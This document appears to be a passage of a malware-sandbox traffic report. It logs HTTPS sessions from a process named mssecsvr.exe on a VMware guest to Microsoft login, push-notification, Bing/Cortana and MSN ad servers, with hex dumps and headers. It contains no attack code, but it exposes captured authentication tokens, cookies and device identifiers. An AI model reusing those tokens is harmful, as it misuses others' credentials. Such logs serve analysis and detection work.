2022-07-20 11:24:17 UTC	936	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.7	50269	20.190.159.5	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:17 UTC	896	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4794 Host: login.live.com
2022-07-20 11:24:17 UTC	897	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 11:24:17 UTC	947	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 11:23:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 6c87d588-0035-460e-8300-25c3ab8d64d7 PPServer: PPV: 30 H: BL02PF09ED50D71 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 11:24:16 GMT Connection: close Content-Length: 11069
2022-07-20 11:24:17 UTC	947	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.7	50284	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:18 UTC	958	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 63 34 37 38 65 30 35 34 38 34 62 35 61 38 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 2c478e05484b5a85
2022-07-20 11:24:18 UTC	958	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:24:18 UTC	959	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 63 34 37 38 65 30 35 34 38 34 62 35 61 38 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: 2c478e05484b5a85<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:24:18 UTC	960	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 63 34 37 38 65 30 35 34 38 34 62 35 61 38 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 2c478e05484b5a85<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 11:24:18 UTC	960	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:24:18 UTC	960	IN	Data Raw: 4d 53 2d 43 56 3a 20 52 54 69 30 30 58 5a 33 74 55 2b 61 59 61 54 38 74 50 2f 48 78 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: RTi00XZ3tU+aYaT8tP/Hxg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.7	50285	204.79.197.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:18 UTC	960	OUT	GET /client/config?cc=US&setlang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061395240662859 X-DeviceID: 0100748C0900F661 X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAVQdwAm1wPCi8Fx5oEKE5cDIl5xGVpkX1gYVzEv1LqzdGt%2B2REYyOhCLJItOKNrfpMBSsH8Hy/HxT9FJ98TpaLXS%2BoY9G7y8DKdse9bSyV0XWWXj2tabM4%2Bda%2BDmYvnZOO1p7WPsOHqWjAOTytSnGi13Svg/JL2OY5ClqVignE2ErEAeRg6AlMqVXx1B6JCX1xd3BnHXvgiE2ta0p%2BgB2pOOwQlEHD5voFgDJUw2f%2BZgBn3Wx4nCcNr76U/h%2B5JNFGMfouZnrTu66GBM7Um%2BvpCwMH4Qwv093aHONpJfdd4xHXHxh/y6Lxsj6nthVso55C/oRyJlt17hCRWS2GgyrjsDZgAACFxma8wDtD%2BHqAFjzAAeBLXsfbCHo2fJ39uqfDAwzLDc1uj5FpxGQnXeD4Oh7xEBbkwYz1vnigz05/77HX3DPeDifwaBEWWeXrRf/zE99s6i8a7fQtcMnzPd97eXDHeI2HhZqexwWTpWXsxVtNwQgW1EKTSbFEbEWz%2BKRRlLm08ENe6zIfafl51vsz0ci6T%2B1zcsxQbFR824xmokO0MIb77dXnh4Dll/LY1WHmqIcHu97OvsT/XExzeW5EBwtO%2BWRYO8WicjL06mSUORo0pF%2B1PJAvW8qdrhd%2BHSWm5wi94HzvmgeeXZLWTYiUW9fqXm7EYJBSF/TSobOd/QYtDhgnxf1lbp1I5NjHDVqDcjT56zDYRXM6V%2Bx2D78X2EEWNmERqj9dGrv0k0C1XznQ1yiYMRSYQ8y8SXvmC4kDbvZcyeqlfM59ek8xWfevv0t4zB/TkDK5RUFFbePf59b%2BM7mCSdUWPIGxJhE1nAMfnw0TEzeEOZKzRaaI9y2TEG4twddsJc5X7ev4pVSJInnSEVQT8GWtZdooCfCzLv5oDC%2BYJBhRCG/ilti8O4rBV2adEZTwvv1gE%3D%26p%3D X-Agent-DeviceId: 0100748C0900F661 X-BM-CBT: 1658348601 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-Touch: false X-Device-ClientSession: AB18CF7C1D2543A8BC70B3F380354A25 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
2022-07-20 11:24:18 UTC	964	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 2041 Content-Type: application/json; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 21-Jul-2022 11:24:18 GMT; path=/; HttpOnly Set-Cookie: MUIDB=7E1F7E3AB9E24BF9AA0D8F6664CA6F63; expires=Mon, 14-Aug-2023 11:24:18 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=3BFD05EA6A9E622F3434140D6B326311&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 20-Jul-2024 11:24:18 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=635BA53CF905466C9F978E37925BD0B3&dmnchg=1; domain=.bing.com; expires=Sat, 20-Jul-2024 11:24:18 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220720; domain=.bing.com; expires=Sat, 20-Jul-2024 11:24:18 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 20-Jul-2024 11:24:18 GMT; path=/ Set-Cookie: ANON=A=AD8DAE85E20B2C5504CEBCE2FFFFFFFF; domain=.bing.com; expires=Sat, 20-Jul-2024 11:24:18 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=3BFD05EA6A9E622F3434140D6B326311; domain=.bing.com; path=/ X-XSS-Protection: 0 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: ABE336B3FF96421FB15EEAA93436E4E6 Ref B: FRA31EDGE0115 Ref C: 2022-07-20T11:24:18Z Date: Wed, 20 Jul 2022 11:24:17 GMT Connection: close
2022-07-20 11:24:18 UTC	966	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.7	50286	204.79.197.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:18 UTC	962	OUT	GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-Device-IsBatteryCertified: false X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-Device-IsBatteryEnabled: false X-Device-NetworkType: ethernet X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061395240662859 X-DeviceID: 0100748C0900F661 X-VoiceActivationOn: false X-Device-AudioCapture: Microphone (High Definition Audio Device) X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAVQdwAm1wPCi8Fx5oEKE5cDIl5xGVpkX1gYVzEv1LqzdGt%2B2REYyOhCLJItOKNrfpMBSsH8Hy/HxT9FJ98TpaLXS%2BoY9G7y8DKdse9bSyV0XWWXj2tabM4%2Bda%2BDmYvnZOO1p7WPsOHqWjAOTytSnGi13Svg/JL2OY5ClqVignE2ErEAeRg6AlMqVXx1B6JCX1xd3BnHXvgiE2ta0p%2BgB2pOOwQlEHD5voFgDJUw2f%2BZgBn3Wx4nCcNr76U/h%2B5JNFGMfouZnrTu66GBM7Um%2BvpCwMH4Qwv093aHONpJfdd4xHXHxh/y6Lxsj6nthVso55C/oRyJlt17hCRWS2GgyrjsDZgAACFxma8wDtD%2BHqAFjzAAeBLXsfbCHo2fJ39uqfDAwzLDc1uj5FpxGQnXeD4Oh7xEBbkwYz1vnigz05/77HX3DPeDifwaBEWWeXrRf/zE99s6i8a7fQtcMnzPd97eXDHeI2HhZqexwWTpWXsxVtNwQgW1EKTSbFEbEWz%2BKRRlLm08ENe6zIfafl51vsz0ci6T%2B1zcsxQbFR824xmokO0MIb77dXnh4Dll/LY1WHmqIcHu97OvsT/XExzeW5EBwtO%2BWRYO8WicjL06mSUORo0pF%2B1PJAvW8qdrhd%2BHSWm5wi94HzvmgeeXZLWTYiUW9fqXm7EYJBSF/TSobOd/QYtDhgnxf1lbp1I5NjHDVqDcjT56zDYRXM6V%2Bx2D78X2EEWNmERqj9dGrv0k0C1XznQ1yiYMRSYQ8y8SXvmC4kDbvZcyeqlfM59ek8xWfevv0t4zB/TkDK5RUFFbePf59b%2BM7mCSdUWPIGxJhE1nAMfnw0TEzeEOZKzRaaI9y2TEG4twddsJc5X7ev4pVSJInnSEVQT8GWtZdooCfCzLv5oDC%2BYJBhRCG/ilti8O4rBV2adEZTwvv1gE%3D%26p%3D X-Agent-DeviceId: 0100748C0900F661 X-BM-CBT: 1658348601 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-IsEnergyHero: false X-Device-Touch: false X-Device-ClientSession: AB18CF7C1D2543A8BC70B3F380354A25 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
2022-07-20 11:24:18 UTC	968	IN	HTTP/1.1 200 OK Cache-Control: no-store, must-revalidate, no-cache Pragma: no-cache Content-Length: 311 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 21-Jul-2022 11:24:18 GMT; path=/; HttpOnly Set-Cookie: MUIDB=7E1F7E3AB9E24BF9AA0D8F6664CA6F63; expires=Mon, 14-Aug-2023 11:24:18 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=30C80B6323D762CC06181A84227B63F6&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 20-Jul-2024 11:24:18 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=B8DB6EC2D64B419BAEEBC53C8C9E72F2&dmnchg=1; domain=.bing.com; expires=Sat, 20-Jul-2024 11:24:18 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220720; domain=.bing.com; expires=Sat, 20-Jul-2024 11:24:18 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 20-Jul-2024 11:24:18 GMT; path=/ Set-Cookie: ANON=A=AD8DAE85E20B2C5504CEBCE2FFFFFFFF; domain=.bing.com; expires=Sat, 20-Jul-2024 11:24:18 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=30C80B6323D762CC06181A84227B63F6; domain=.bing.com; path=/ Set-Cookie: BM-Identity-Error=3002; domain=.bing.com; expires=Wed, 20-Jul-2022 11:29:18 GMT; path=/ X-XSS-Protection: 0 X-Search-ErrorInfo: Error:3002,Message:'FB ID missing' X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C72DA1287EB6427EA0CDD14230AB2470 Ref B: FRA31EDGE0720 Ref C: 2022-07-20T11:24:18Z Date: Wed, 20 Jul 2022 11:24:17 GMT Connection: close
2022-07-20 11:24:18 UTC	970	IN	Data Raw: 7b 22 42 61 73 65 50 61 67 65 22 3a 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 7d 2c 22 41 6e 73 77 65 72 73 22 3a 5b 5d 2c 22 43 6f 6e 66 69 67 22 3a 7b 22 50 72 65 66 65 74 63 68 49 6e 74 65 72 76 61 6c 22 3a 37 32 30 2c 22 42 61 Data Ascii: {"BasePage":{"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}}},"Answers":[],"Config":{"PrefetchInterval":720,"Ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.7	50292	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:18 UTC	970	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202406Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=771a6a27c36946228f4352981eacdbfd&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-338389&oemName=tfikfe%2C%20Inc.&oemid=tfikfe%2C%20Inc.&ossku=Professional&smBiosDm=tfikfe7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 Cache-Control: no-cache MS-CV: co1Ff7xIeka3O5ff.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 11:24:18 UTC	976	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2853 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: E9hCyAath5PtfYxYnZ+MXkbTRhTopoHRpGsHyP4LQcgMf2IwSbiq0/CzqM43+VXBoTWCayIQexMWkl0Rf53QKnuPB6jCX+jRDQhK3hKzbw3AstFPEl+tsEWV4GbEs5YtvOmY0g1ITXwUVaosLEunNe1RQKAV120MMIlTljnNuVyYwcTC+8N7msmK83h5XaQ/cx+hzyjeNCVE1NMuhYCcKWdz/NwXp0vWqnnMi+6gSNhlKRWMSG6jnPLsjwNhAArcW6gaACe9OEj7AMyeCj2yXCNp4xIwO3A2ts7qOA5nGsZ+p+ms6lCDHxP9FLchENp1Q5c0deAC6RMJDFTk2I/z/g== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 11:24:18 GMT Connection: close
